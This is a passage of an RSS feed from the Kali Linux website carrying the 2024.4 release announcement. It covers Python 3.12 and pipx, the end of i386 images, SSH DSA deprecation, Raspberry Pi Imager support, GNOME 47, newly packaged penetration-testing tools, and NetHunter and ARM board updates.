<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>Kali Linux</title><link>https://www.kali.org/</link><description>Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments.</description><language>en-us</language><copyright>© OffSec Services Limited 2025. All rights reserved.</copyright><lastBuildDate>Mon, 06 Jan 2025 00:00:00 +0000</lastBuildDate><atom:link href="https://www.kali.org/rss.xml" rel="self" type="application/rss+xml"/><webfeeds:cover image="https://www.kali.org/images/kali-logo.svg"/><webfeeds:icon>https://www.kali.org/images/favicon.svg</webfeeds:icon><webfeeds:logo>https://www.kali.org/images/favicon.svg</webfeeds:logo><webfeeds:related layout="card" target="browser"/><webfeeds:accentColor>367BF0</webfeeds:accentColor><item><title>Kali Linux 2024.4 Release (Python 3.12, Goodbye i386, Raspberry Pi Imager &amp; Kali NetHunter)</title><link>https://www.kali.org/blog/kali-linux-2024-4-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2024-4-release/</guid><pubDate>Mon, 16 Dec 2024 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-2024-4-release/images/banner-2024.4-release.jpg" type="image/jpg"/><description>&lt;p>Just before the year starts to wrap up, we are getting the final 2024 release out! This contains a wide range of updates and changes, which are in already in effect, ready for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a>, or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">updating&lt;/a>.&lt;/p>
&lt;p>The summary of the &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> since the &lt;a href="https://www.kali.org/blog/kali-linux-2024-3-release/">2024.3 release from September&lt;/a> is:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-4-release/#a-new-python-version-312">Python 3.12&lt;/a>&lt;/strong> - New default Python version &lt;em>(Au revoir &lt;code>pip&lt;/code>, hello &lt;a href="https://pipx.pypa.io/stable/">pipx&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-4-release/#the-end-of-the-i386-kernel-and-images">The end of the i386 kernel and images&lt;/a>&lt;/strong> - Farewell x86 &lt;em>(images)&lt;/em>, but not goodbye &lt;em>(packages)&lt;/em>&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-4-release/#deprecations-in-the-ssh-client-dsa-keys">Deprecations in the SSH client: DSA keys&lt;/a>&lt;/strong> - Reminder about using &lt;code>ssh1&lt;/code> if required&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-4-release/#raspberry-pi-imager-customizations-support">Raspberry Pi Imager Customizations Support&lt;/a>&lt;/strong> - Able to alter settings at write time&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-4-release/#gnome-47">GNOME 47&lt;/a>&lt;/strong> - Now able to synchronize your favorite colors&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-4-release/#kali-forums-refresh">Kali Forums Refresh&lt;/a>&lt;/strong> - New heart of the community home&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-4-release/#kali-nethunter-updates">Kali NetHunter&lt;/a>&lt;/strong> - Updates to the app, kernels, installer, store and website !&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2024-4-release/#new-tools-in-kali">New Tools&lt;/a>&lt;/strong> - 14 new shiny toys added &lt;em>(and countless updated!)&lt;/em>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="a-new-python-version-312">A new Python version: 3.12&lt;/h2>
&lt;p>&lt;strong>Python 3.12 is now the default Python interpreter&lt;/strong>. While it was &lt;a href="https://docs.python.org/3/whatsnew/3.12.html">released upstream&lt;/a> a year ago , it took a bit of time to become the &lt;a href="https://tracker.debian.org/news/1542739/python3-defaults-3122-1-migrated-to-testing/">default in Debian&lt;/a> , and then even more time to &lt;a href="https://pkg.kali.org/news/601805/python3-defaults-3125-1-imported-into-kali-rolling/">make it to Kali Linux&lt;/a> , but finally it&amp;rsquo;s here. Every new version of Python brings along some deprecations or subtle changes of behavior, which in turn breaks some Python packages, and we have to investigate and fix all the issues reported by our QA system. Hence the delay.&lt;/p>
&lt;p>There is a major change with this new Python version: &lt;strong>installing third-party Python packages via &lt;code>pip&lt;/code> is now strongly discouraged and disallowed by default&lt;/strong> . This change has been coming for a long time, &lt;a href="https://www.kali.org/blog/python-externally-managed/">we wrote about it 18 months ago already&lt;/a> , been given little reminders in each release blog post since and we gave another push about it in the &lt;a href="https://www.kali.org/blog/kali-linux-2024-3-release/">2024.3 release blog post&lt;/a>. Now it&amp;rsquo;s finally effective.&lt;/p>
&lt;p>&lt;code>pip&lt;/code> users, fear not! It&amp;rsquo;s not the end of the world: &lt;strong>there is &lt;a href="https://pipx.pypa.io/">pipx&lt;/a> as a replacement&lt;/strong>. On the surface, it provides a similar user experience, but under the hood it overcomes the one outstanding issue with pip: the lack of environment isolation.&lt;/p>
&lt;p>&lt;strong>For more details, please check our dedicated documentation page: &lt;a href="https://www.kali.org/docs/general-use/python3-external-packages/">Installing Python Applications via pipx&lt;/a>&lt;/strong>. If you still have a hard time running a third-party Python application in Kali, please reach out to us via our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>.&lt;/p>
&lt;h2 id="the-end-of-the-i386-kernel-and-images">The end of the i386 kernel and images&lt;/h2>
&lt;p>&lt;em>&amp;hellip;but not packages.&lt;/em>&lt;/p>
&lt;p>History lesson: &lt;code>i386&lt;/code> is a 32-bit CPU architecture, maybe more widely known by the name &lt;em>x86&lt;/em>. It was the CPU architecture of the first generations of Intel Pentium, AMD K6, and Athlon. In short, it was ubiquitous in personal computers back in the 90s. Starting in 2003, a 64-bit version of the x86 architecture appeared, usually named &lt;em>x86-64&lt;/em> (or &lt;code>amd64&lt;/code> in Debian-based Linux distributions). It marked the end of the 32-bit x86 CPUs.&lt;/p>
&lt;p>Despite being long obsolete, this architecture remained supported in software for years. 2019 was the year when major Linux distributions (&lt;a href="https://fedoraproject.org/wiki/Changes/Stop_Building_i686_Kernels">Fedora 31&lt;/a> &amp;amp; &lt;a href="https://wiki.ubuntu.com/BionicBeaver/ReleaseNotes">Ubuntu&lt;/a> ) started to drop it. Finally, in &lt;a href="https://lists.debian.org/debian-release/2024/10/msg00064.html">October 2024&lt;/a>, Debian stopped building a &lt;code>i386&lt;/code> kernel (and OS images, as a consequence). Kali Linux, being based on Debian, &lt;a href="https://www.kali.org/blog/end-of-i386-kernel-and-images/">follow suit&lt;/a>: &lt;strong>images and releases will no longer be created for this platform&lt;/strong>. &lt;/p>
&lt;p>It&amp;rsquo;s important to note that this is not an instant death for i386 though. This is not how architectures die. The i386 kernel and images are gone, however &lt;em>&lt;strong>i386 packages in general are not removed&lt;/strong> from the repository&lt;/em>. It means that it&amp;rsquo;s &lt;strong>still possible to run i386 programs on a 64-bit system&lt;/strong>. Either directly via the package manager (APT supports installation of i386 packages on a amd64 system), or via &lt;a href="https://hub.docker.com/r/kalilinux/kali-rolling/tags">i386 Docker images&lt;/a>.&lt;/p>
&lt;p>With time, surely more and more i386 packages will disappear, but nobody really knows in advance which packages and ecosystems will go first, and how long others will remain. In particular, one of the biggest areas that keeps i386 alive is gaming: old games that were compiled for 32-bit x86 are still around, and enjoyed by gamers. As a consequence, there are people out there putting effort into keeping it working, and we can hope that a baseline of i386 packages will remain functional for the time being.&lt;/p>
&lt;p>If you are impacted by this change and need more guidance to run your i386 binaries on Kali Linux, please reach out to us via our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>, we will do our best to help.&lt;/p>
&lt;h2 id="deprecations-in-the-ssh-client-dsa-keys">Deprecations in the SSH client: DSA keys&lt;/h2>
&lt;p>The latest version of OpenSSH (9.8p1) , available in this release of Kali Linux, deprecates DSA keys for good. &lt;strong>If you need this support to connect to very old SSH servers, you will need to use the command &lt;code>ssh1&lt;/code> instead of &lt;code>ssh&lt;/code>&lt;/strong>. Let&amp;rsquo;s take this chance to review how Kali Linux deals with SSH deprecations, and what it provides to make it easier to use the SSH client for pentesting purpose.&lt;/p>
&lt;p>Out of the box, Kali comes with a &amp;ldquo;standard&amp;rdquo; SSH client, as provided by Debian. It means that SSH is pre-configured with security in mind: some legacy ciphers and algorithms are disabled by default, to prevent you from using potentially weak encryption without knowing.&lt;/p>
&lt;p>&lt;strong>For pentesting purposes though, we often need to use all these legacy features&lt;/strong>, because we need to know if the server that we target has it enabled. To easily enable all the legacy features at once, we provide the command-line tool &lt;a href="https://www.kali.org/tools/kali-tweaks/">kali-tweaks&lt;/a>. This tool is a simple menu that allows you to configure various aspects of Kali. In the &lt;em>Hardening&lt;/em> section, you can configure SSH for &lt;em>Wide Compatibility&lt;/em> (instead of the default &lt;em>Strong Security&lt;/em>), and that&amp;rsquo;s all you need to do to maximize the capabilities of your SSH client.&lt;/p>
&lt;p>With that said, when some legacy features are not even compiled in the SSH client anymore (as is the case with DSA keys), you will need to resort to another SSH client: &lt;code>ssh1&lt;/code>. &lt;a href="https://www.kali.org/tools/openssh-ssh1">ssh1&lt;/a> comes pre-installed in this new release of Kali Linux. In practicality, &lt;strong>&lt;code>ssh1&lt;/code> is the SSH client frozen at version 7.5&lt;/strong> (released in March 2017). This is the &lt;strong>last release of OpenSSH that supports the SSH v.1 protocol, and of course it also supports DSA keys&lt;/strong>. If you target very old SSH servers, you might need to use this client, assuming you are using the SSH client directly from the command-line. However, if you use it &lt;em>indirectly&lt;/em> (via some tool that uses SSH), it&amp;rsquo;s possible that the tool does not know about the ssh1 command, so in practice you will lose support for DSA keys with this new Kali release. If you are in this situation, talk to us (via our &lt;a href="https://discord.kali.org/">our Discord server&lt;/a> or our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>), and we might be able to help.&lt;/p>
&lt;p>All of this information (and more) is &lt;a href="https://www.kali.org/docs/general-use/ssh-configuration/">available in our documentation&lt;/a>.&lt;/p>
&lt;h2 id="raspberry-pi-imager-customizations-support">Raspberry Pi Imager Customizations Support&lt;/h2>
&lt;p>The moment that Pi users have been waiting for has arrived! We are thrilled to announce that Kali&amp;rsquo;s &lt;strong>Raspberry Pi images now support applying customizations directly from the &lt;a href="https://www.raspberrypi.com/software/">Raspberry Pi Imager software&lt;/a>&lt;/strong>! This is a huge step forward, and we are so excited to bring this much-requested feature to our users. Whether you are a seasoned pro or just getting started, this update is going to make your Raspberry Pi experience even more seamless.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-4-release/images/raspberry-pi-imager-custom-image-1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-4-release/images/raspberry-pi-imager-custom-image-1.png" alt="Raspberry Pi Imager Prompt" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>For those who might not be familiar with the Raspberry Pi Imager, it was &lt;a href="https://www.raspberrypi.com/news/raspberry-pi-imager-imaging-utility/">first introduced in 2020&lt;/a> by the Raspberry Pi Foundation. This incredibly handy tool allows users to easily write Raspberry Pi operating system images onto an SD card or USB drive with just a few clicks. But that&amp;rsquo;s not all — it also lets you apply essential customizations before you even boot up your Pi! You can pre-configure a range of settings, from setting a custom username and password to choosing a hostname, connecting to a Wi-Fi network, and even adding an SSH key for remote access.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-4-release/images/raspberry-pi-imager-custom-image-2.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-4-release/images/raspberry-pi-imager-custom-image-2.png" alt="Raspberry Pi Imager General Settings" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>With this latest release, &lt;strong>you can now apply these customizations to all Raspberry Pi images&lt;/strong> — with the exception of the PiTail images, &lt;em>which are highly specialized with their own network and user settings&lt;/em>. Unfortunately, due to these customizations, applying them via the Raspberry Pi Imager software is not supported for PiTail images. But for everything else, the sky&amp;rsquo;s the limit!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-4-release/images/raspberry-pi-imager-custom-image-3.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-4-release/images/raspberry-pi-imager-custom-image-3.png" alt="Raspberry Pi Imager Service Settings" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="how-does-it-work">How Does It Work?&lt;/h3>
&lt;p>The magic happens when you write a Raspberry Pi image to your SD card or USB drive using the imager software. If you choose to enable customizations, the settings are stored in two key files on the &lt;code>/boot&lt;/code> partition of the drive:&lt;/p>
&lt;ol>
&lt;li>&lt;strong>user-data&lt;/strong>: This file contains all your personal settings, including the username and password, any locale or timezone preferences, and even your SSH &lt;strong>public&lt;/strong> key (if you have chosen to enable SSH).&lt;/li>
&lt;li>&lt;strong>network-config&lt;/strong>: Here you will find your Wi-Fi network settings, including the pre-computed PSK (Password Security Key) for seamless connectivity.&lt;/li>
&lt;/ol>
&lt;p>Once the Raspberry Pi boots for the first time, these files will apply the custom settings automatically.&lt;/p>
&lt;p>&lt;strong>A quick tip&lt;/strong>: Do not forget to delete these files after the first boot to keep things secure.&lt;/p>
&lt;h3 id="default-settings-for-non-customized-images">Default Settings for Non-Customized Images&lt;/h3>
&lt;p>For users who do not wish to enable customizations, do not worry! The default settings for Raspberry Pi images will remain the same, with &lt;a href="https://www.kali.org/docs/introduction/default-credentials/">kali/kali for the username and password&lt;/a>.&lt;/p>
&lt;h2 id="gnome-47">GNOME 47&lt;/h2>
&lt;p>We are excited to announce that the latest update to the GNOME Desktop, &lt;a href="https://release.gnome.org/47/">GNOME 47&lt;/a>, is now available! This update brings numerous changes and desktop enhancements, but the most notable feature is the &lt;strong>new support for accent color customization&lt;/strong>. You can now choose &lt;strong>your favorite color for window and shell widgets&lt;/strong>, giving you more control over your desktop&amp;rsquo;s look and feel.&lt;/p>
&lt;p>From Kali&amp;rsquo;s side, we have also worked on &lt;strong>synchronizing this new setting with the icon theme and legacy GTK window themes&lt;/strong> to ensure a cohesive visual experience. To complement this feature, we have created multiple variants of the icon theme to match each accent color. These themes are also available across other desktop environments, allowing you to personalize your Kali experience.&lt;/p>
&lt;video class="video-shortcode" preload="metadata" autoplay muted loop>
&lt;source src="https://www.kali.org/blog/kali-linux-2024-4-release/videos/gnome-colors.mp4" >
Your browser does not support the video tag.
&lt;/video>
&lt;p>&lt;strong>Other Improvements&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>New login theme&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-4-release/images/gnome-login-theme.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-4-release/images/gnome-login-theme.png" alt="Kali GNOME 47 Login Them " />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;ul>
&lt;li>New system-monitor panel extension&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-4-release/images/gnome-panel-system-monitor.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-4-release/images/gnome-panel-system-monitor.png" alt="Kali GNOME panel system monitor" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Improved color-schemes&lt;/strong> for &lt;code>gnome-text-editor&lt;/code>&lt;/li>
&lt;/ul>
&lt;h2 id="kali-forums-refresh">Kali Forums Refresh&lt;/h2>
&lt;p>A couple of weeks ago we launched the refresh of our &lt;a href="https://forums.kali.org/">Kali Forums&lt;/a>. With this refresh we are now running a Discourse-powered forum with a new set of moderators thanks to our community moderators from Discord. We are very happy with the activity we have seen on it so far and &lt;strong>hope to see you there&lt;/strong>!&lt;/p>
&lt;p>For more information, please check out our &lt;a href="https://www.kali.org/blog/forums-refresh/">blog post about the refresh&lt;/a>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-4-release/images/kali-forums.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-4-release/images/kali-forums.png" alt="Kali Discourse Forums" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>As always, we have various &lt;strong>new tools&lt;/strong> added &lt;em>(to the network repositories)&lt;/em> - 14 this time! Summarizing what has been added:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/bloodyad/">bloodyad&lt;/a> - Active Directory privilege escalation framework &lt;em>(Submitted by &lt;a href="https://gitlab.com/Arszilla">@Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/certi/">certi&lt;/a> - Ask for certificates to ADCS and discover templates &lt;em>(Submitted by &lt;a href="https://gitlab.com/Arszilla">@Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/chainsaw/">chainsaw&lt;/a> - Rapidly search and hunt through Windows forensic artefacts &lt;em>(Submitted by &lt;a href="https://gitlab.com/Arszilla">@Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/findomain/">findomain&lt;/a> - Fastest and most complete solution for domain recognition &lt;em>(Submitted by &lt;a href="https://gitlab.com/Arszilla">@Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/hexwalk/">hexwalk&lt;/a> - Hex analyzer, editor and viewer&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/linkedin2username/">linkedin2username&lt;/a> - Generate username lists for companies on LinkedIn&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/mssqlpwner/">mssqlpwner&lt;/a> - Interact and pwn MSSQL servers&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/openssh-ssh1/">openssh-ssh1&lt;/a> - Secure SHell (SSH) client for legacy SSH1 protocol&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/proximoth/">proximoth&lt;/a> - Control frame attack vulnerability detection tool &lt;em>(Submitted by &lt;a href="https://gitlab.com/TechnicalUserX">@TechnicalUserX&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/python-pipx/">python-pipx&lt;/a> - Execute binaries from Python packages in isolated environments&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/sara/">sara&lt;/a> - RouterOS Security Inspector (Submitted by &lt;a href="https://gitlab.com/casterbyte">@casterbyte&lt;/a>)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/web-cache-vulnerability-scanner/">web-cache-vulnerability-scanner&lt;/a> - Go-based CLI tool for testing for web cache poisoning &lt;em>(Submitted by &lt;a href="https://gitlab.com/Arszilla">@Arszilla&lt;/a>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/xsrfprobe/">xsrfprobe&lt;/a> - An advanced Cross Site Request Forgery (CSRF/XSRF) audit and exploitation toolkit.&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/nmap/#zenmap">zenmap&lt;/a> - The Network Mapper (nmap) front end (&lt;code>zenmap-kbx&lt;/code> is no longer needed!)&lt;/li>
&lt;/ul>
&lt;p>&lt;em>There have also been numerous packages updates and new libraries as well. We also bump the Kali kernel to 6.11!&lt;/em>&lt;/p>
&lt;h2 id="kali-nethunter-updates">Kali NetHunter Updates&lt;/h2>
&lt;p>&amp;hellip;There&amp;rsquo;s a lot here!&lt;/p>
&lt;h3 id="app">App&lt;/h3>
&lt;p>For the &lt;a href="https://store.nethunter.com/packages/com.offsec.nethunter/">Kali NetHunter app&lt;/a>, we are very glad to &lt;strong>introduce the Mana toolkit replacement, Wifipumpkin3&lt;/strong>. After years of silence regarding android restrictions, &lt;a href="https://x.com/yesimxev">@yesimxev&lt;/a>&amp;rsquo;s research solved the Android IP rules mystery and he added &lt;a href="https://www.kali.org/tools/wifipumpkin3/">Wifipumpkin3&lt;/a>, which allows you to create a fake AP with working internet, even on mobile network!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-4-release/images/wifipumpkin3.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-4-release/images/wifipumpkin3.png" alt="wifipumpkin3 tool logo" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We have a &lt;a href="https://www.youtube.com/shorts/20Df3fgjs4M">quick demo of Wifipumpkin3&lt;/a> in action if you want to see the results.&lt;/p>
&lt;hr>
&lt;p>Sticking with the Kali NetHunter app, @yesimxev has added a new tab, kernel, which will allow people to &lt;strong>flash their kernel without using recovery&lt;/strong> - direct from the app!&lt;/p>
&lt;h3 id="store">Store&lt;/h3>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2024-4-release/images/nethunter-store.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2024-4-release/images/nethunter-store.png" alt="NetHunter Store" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>The &lt;strong>&lt;a href="https://store.nethunter.com/">Kali NetHunter store&lt;/a> has had a &lt;em>(long overdue)&lt;/em> update.&lt;/strong> This is powered by &lt;a href="https://f-droid.org/">F-Droid&lt;/a>, and &lt;a href="https://gitlab.com/kalilinux/nethunter/store/">completely open-source&lt;/a>, including the &lt;a href="https://gitlab.com/kalilinux/nethunter/store/nethunter-store-website">website&lt;/a>, the &lt;a href="https://gitlab.com/kalilinux/nethunter/store/nethunter-store-data">metadata&lt;/a> and the apps (&lt;a href="https://gitlab.com/kalilinux/nethunter/apps/kali-nethunter-store-client">#1&lt;/a> &amp;amp; &lt;a href="https://gitlab.com/kalilinux/nethunter/apps/kali-nethunter-store-privileged-extension">#2&lt;/a>) that goes with it.&lt;/p>
&lt;p>&lt;em>We hope to work on the store more over the next few Kali releases.&lt;/em>&lt;/p>
&lt;p>At the same time, we have generated new &lt;a href="https://store.nethunter.com/repo/">certificates&lt;/a> &amp;amp; &lt;a href="http://store.nethunter.com/store@nethunter.com-signing.gpg">keys&lt;/a>, &lt;em>so please do not be alarmed of the change.&lt;/em>&lt;/p>
&lt;ul>
&lt;li>GPG Key: &lt;code>AA 12 5C D4 16 57 56 83 93 BD 57 5E E1 4B 60 F8 EF 29 08 9C&lt;/code>&lt;/li>
&lt;li>Repo Certificate: &lt;code>aa:cb:a8:f5:23:89:39:f9&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>&lt;em>We have also bump&amp;rsquo;d privileged extension app to the latest version upstream too.&lt;/em>&lt;/p>
&lt;h3 id="installer">Installer&lt;/h3>
&lt;p>The Kali NetHunter installer has had some work on it too!
It now has a new home in its own &lt;a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-installer">git repo&lt;/a> (so does &lt;a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-rootfs">rootfs&lt;/a> &amp;amp; &lt;a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-rootless">rootless&lt;/a>) .&lt;/p>
&lt;p>Currently its possible to install Kali NetHunter using either methods:&lt;/p>
&lt;ul>
&lt;li>Recovery &lt;em>(we recommend using &lt;a href="https://twrp.me/">TWRP&lt;/a>)&lt;/em> - the original method&lt;/li>
&lt;li>&lt;a href="https://github.com/topjohnwu/Magisk">Magisk&lt;/a> &lt;em>(which also give &amp;ldquo;root&amp;rdquo; permissions)&lt;/em> - the future method&lt;/li>
&lt;/ul>
&lt;p>We have been supporting both methods for a while, and tried to keep them in sync with each other (as much as possible).
&lt;em>Long term, we will be putting our focus into Magisk method (as that is our preferred method of &amp;ldquo;root&amp;rdquo; access).&lt;/em>&lt;/p>
&lt;p>As of Kali 2024.4, the installer now supports fully supports Magisk (able to flash the kernel) and also added support for v28 and higher! As well as installing via command line (Magisk &amp;amp; TWRP), thanks to &lt;code>adb&lt;/code>! There has been work done also for &lt;a href="https://apatch.dev/">APatch&lt;/a> and &lt;a href="https://kernelsu.org/">KernelSU&lt;/a>.&lt;/p>
&lt;p>There has also been a ton of bug fixes and improvements made too.&lt;/p>
&lt;h3 id="website">Website&lt;/h3>
&lt;p>Another Kali NetHunter change happened is our &lt;a href="https://nethunter.kali.org/">NetHunter subdomain website&lt;/a> &lt;em>(which is &lt;a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-kernels">automated CI output&lt;/a>)&lt;/em>.&lt;/p>
&lt;p>The new structure should give an easier overview and understanding of the whole process&amp;quot;:&lt;/p>
&lt;ul>
&lt;li>All &lt;a href="https://nethunter.kali.org/images.html">pre-created images&lt;/a> - the items that &lt;a href="https://www.kali.org/get-kali/#kali-mobile">ready to download&lt;/a>&lt;/li>
&lt;li>All &lt;a href="https://nethunter.kali.org/image-models.html">supported devices for the pre-created images&lt;/a> - Some devices, like OnePlus 7 may have multiple items to download (for multiple Android versions)&lt;/li>
&lt;li>Which &lt;a href="https://nethunter.kali.org/device-kernels.html">devices have the most options&lt;/a> - how many supported kernels/Android versions and pre-created images&lt;/li>
&lt;li>&lt;a href="https://nethunter.kali.org/kernels.html">Supported kernels&lt;/a> - Overview of ROMs and Android versions&lt;/li>
&lt;li>Which and how many &lt;a href="https://nethunter.kali.org/android-versions.html">Android Versions&lt;/a> are supported&lt;/li>
&lt;/ul>
&lt;h3 id="kerneldevice">Kernel/Device&lt;/h3>
&lt;p>From a Kali NetNethunter kernel/device point of view:&lt;/p>
&lt;ul>
&lt;li>We now &lt;strong>support 100 devices&lt;/strong>!
&lt;ul>
&lt;li>Added support to &lt;strong>Realme X7 Max 5G&lt;/strong> (RMX3031) &lt;em>(Thanks &lt;a href="https://gitlab.com/dek0der">@dek0der&lt;/a>)&lt;/em>&lt;/li>
&lt;li>Added support to &lt;strong>Xiaomi Mi 9 Lite / CC9&lt;/strong> (pyxis)&lt;/li>
&lt;li>Updated support for Nokia 6.1 &amp;amp; 6.1 Plus (drg)&lt;/li>
&lt;li>Updated support for Realme C11 (RMX2185) &lt;em>(Thanks &lt;a href="https://gitlab.com/Frostleaft07">@Frostleaft07&lt;/a>)&lt;/em>&lt;/li>
&lt;li>Updated support for Xiaomi Mi 9T (davinci)&lt;/li>
&lt;li>Updated support for Xiaomi Mi A3 (xiaomi-laurel)&lt;/li>
&lt;li>Updated support for Xiaomi Pocophone F1 (beryllium)&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>First &lt;strong>Android 15&lt;/strong> device support (Xiaomi Mi A3 (xiaomi-laurel))&lt;/li>
&lt;li>Generating &lt;strong>a lot more pre-created images&lt;/strong>&lt;/li>
&lt;li>The &amp;ldquo;body of knowledge&amp;rdquo; file, &lt;code>devices.cfg&lt;/code>, which indexes everything, has now been &lt;strong>turned into YAML&lt;/strong>, &lt;code>devices.yml&lt;/code>.&lt;/li>
&lt;/ul>
&lt;h3 id="package">Package&lt;/h3>
&lt;p>The &lt;code>nethunter-utils&lt;/code> package has &lt;a href="https://gitlab.com/kalilinux/packages/nethunter-utils">a new home&lt;/a> too.
And to go with it, &lt;a href="https://gitlab.com/MrRob0-X">@Robin&lt;/a> has done a lot of audio work.&lt;/p>
&lt;h2 id="kali-nethunter-pro-updates">Kali NetHunter Pro Updates&lt;/h2>
&lt;p>Just a quick message to say that Kali NetHunter Pro now includes &amp;ldquo;NetHunter&amp;rdquo; and &amp;ldquo;Hijacker&amp;rdquo; apps.&lt;/p>
&lt;p>And if you are trying to enable On-The-Go (OTG) on Xiaomi Pocophone F1 and OnePlus 6/6T, you may want to &lt;a href="https://www.youtube.com/watch?v=bjhgKxhgmIY">watch this guide&lt;/a>.&lt;/p>
&lt;h2 id="kali-arm-sbc-updates">Kali ARM SBC Updates&lt;/h2>
&lt;p>Alongside the customizable Raspberry Pi images, we have packed in several other improvements:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Raspberry Pi 500 Support&lt;/strong>: The Raspberry Pi 5 image &lt;strong>should&lt;/strong> also have support for the recently announced &lt;a href="https://www.raspberrypi.com/news/raspberry-pi-500-and-raspberry-pi-monitor-on-sale-now/">Raspberry Pi 500&lt;/a> however, we do not have the hardware to test, so please let us know if you do!&lt;/li>
&lt;li>&lt;strong>Raspberry Pi 5&lt;/strong>:
&lt;ul>
&lt;li>By default, &lt;strong>KMS (Kernel Mode Setting)&lt;/strong> is now enabled for a smoother graphical experience. If you prefer to disable it, just comment out the &lt;code>dtoverlay=vc4-kms-v3d&lt;/code> line in the &lt;code>/boot/config.txt&lt;/code> file.&lt;/li>
&lt;li>&lt;strong>Auto Detection Enhancements&lt;/strong>: We have added improved detection for &lt;strong>DSI displays&lt;/strong> and &lt;strong>cameras&lt;/strong>. The system will automatically load the appropriate overlays, saving you time and effort during setup. It will not work for every one, but it should work for most.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>Gateworks Newport&lt;/strong>: The second partition on the Gateworks Newport image is no longer set as bootable.&lt;/li>
&lt;li>&lt;strong>USB Armory MKII&lt;/strong>: We have upgraded to &lt;strong>u-boot 2024.10&lt;/strong>, the latest version of the bootloader that it uses.&lt;/li>
